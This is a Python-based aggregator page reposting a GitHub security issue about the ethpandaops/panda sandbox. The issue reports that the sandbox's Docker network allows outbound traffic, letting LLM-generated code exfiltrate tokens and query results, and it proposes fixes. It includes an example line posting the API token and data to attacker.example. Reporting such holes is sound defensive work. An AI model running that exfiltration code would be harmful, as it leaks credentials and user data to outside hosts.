Sandbox (docker/gvisor) has unrestricted outbound network: LLM code can exfiltrate the runtime token and query results
I maintainer di solito rispondono entro 8 giorni
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
- Tipo di issue
- Bug
- Chiarezza
- Abbastanza chiara
- Stato di attività
- Tranquilla
- Stack tecnologico
- docker, docker-compose, python
- Ambito
- infrastructure, security
Direzione di ricerca
Inizia da docker-compose.yaml e AGENTS.md, quindi segui i percorsi di callback in sandbox/ethpandaops/ethpandaops/_runtime.py, sandbox/ethpandaops/ethpandaops/storage.py e modules/evm/python/evm.py. Esegui il test socket documentato di panda execute per stabilire il comportamento attuale. Il lavoro è completato quando il codice di sandbox non può effettuare richieste in uscita arbitrarie, mentre i relativi percorsi di callback del server richiesti continuano a funzionare, e sono stati affrontati l'impatto sul deployment Docker esistente e il requisito della release note.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
The docker/gvisor sandbox backends place each sandbox container on the ethpandaops-panda-internal bridge network, which is not marked internal, so containers have full outbound NAT. Untrusted, LLM-generated Python running in the sandbox can therefore make arbitrary outbound network requests — it can exfiltrate the per-execution runtime token and any query results it holds to an external host, phone home, or reach internal services on the pod/host network.
# runs today in the docker sandbox
import httpx
httpx.post("https://attacker.example/collect", json={"token": os.environ["ETHPANDAOPS_API_TOKEN"], "rows": df.to_dict()})
Why the current justification no longer holds
docker-compose.yaml documents the reason the network is not internal:
# Network for sandbox containers to reach datasources.
# Not marked internal so containers can resolve external DNS for
# ClickHouse, Prometheus, and Loki connections.
That rationale is stale. Sandbox code no longer talks to datasources directly — it calls back into server, which routes through proxy (the AGENTS.md guardrail: "sandboxed Python calls back into server, never directly into proxy"). All three sandbox call paths confirm it:
sandbox/ethpandaops/ethpandaops/_runtime.py→ETHPANDAOPS_API_URL(the server)sandbox/ethpandaops/ethpandaops/storage.py→ same server clientmodules/evm/python/evm.py→ routes throughethpandaops.ethnode(the server), andevm.faucet()only returns a URL string
Nothing in the sandbox needs outbound internet. The one legitimate egress — the server callback — could be reached over an internal-only network (or, like the new direct backend, a unix socket).
Impact
- Confidentiality: the runtime token and any data the sandbox pulls can leave the boundary.
- This is the same class of hole just closed for the
directbackend (empty netns + unix-socket callback). Thedirectfix does not coverdocker/gvisor.
Options
- Mark the sandbox network
internal: trueand give the container a route to the server only (server reachable on the internal network, or via the same unix-socket callback the direct backend now uses). - Add an explicit egress-allowlist / default-deny in front of the sandbox network.
- Config escape hatch for the rare deployment that genuinely needs sandbox egress, defaulting to deny.
This needs a behavior change + release note for existing docker deployments, so it was scoped out of the direct-backend hardening PR and filed here.
Repro
docker compose up -d, then panda execute --code 'import socket; socket.create_connection(("1.1.1.1", 443), 3); print("reachable")' — prints reachable.
- Lingua principale
- Go
- Stelle
- 16
- Fork
- 9
- Merge medio
- 8g 12h
- PR unite (30g)
- 9
Preparare l'ambiente
- Include un Dockerfile o un file Docker Compose
- Nessun modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di ethpandaops/panda
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 55/100
ethpandaops/panda#275 ·
I maintainer di solito rispondono entro 8 giorni
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
ethpandaops/panda#234 ·
I maintainer di solito rispondono entro 8 giorni
Tutte le issue di ethpandaops/panda
Issue simili
-
Project submission:Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 72/100
slavakurilyak/awesome-ai-agents#845 ·
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
I maintainer di solito rispondono entro 3 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
-
[BUG] deploy.restart_policy without condition drops the restart policyForse già presa @akshat-lakhera l’ha presa 1 giorno fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
docker/compose#14383 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 72/100
Azure/azure-storage-fuse#2429 ·
I maintainer di solito rispondono entro 1 giorno